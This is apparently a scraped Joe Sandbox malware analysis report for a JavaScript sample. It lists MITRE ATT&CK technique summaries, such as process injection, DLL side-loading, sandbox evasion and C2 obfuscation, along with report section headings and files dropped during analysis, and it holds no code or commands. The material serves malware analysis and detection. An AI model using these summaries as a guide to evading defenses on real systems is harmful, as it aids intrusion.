Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 91263130946456752.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\dd2ec3ec-891b-4685-b0c0-bf2a562b891a.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7724

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7724

Windows Analysis Report
91263130946456752.js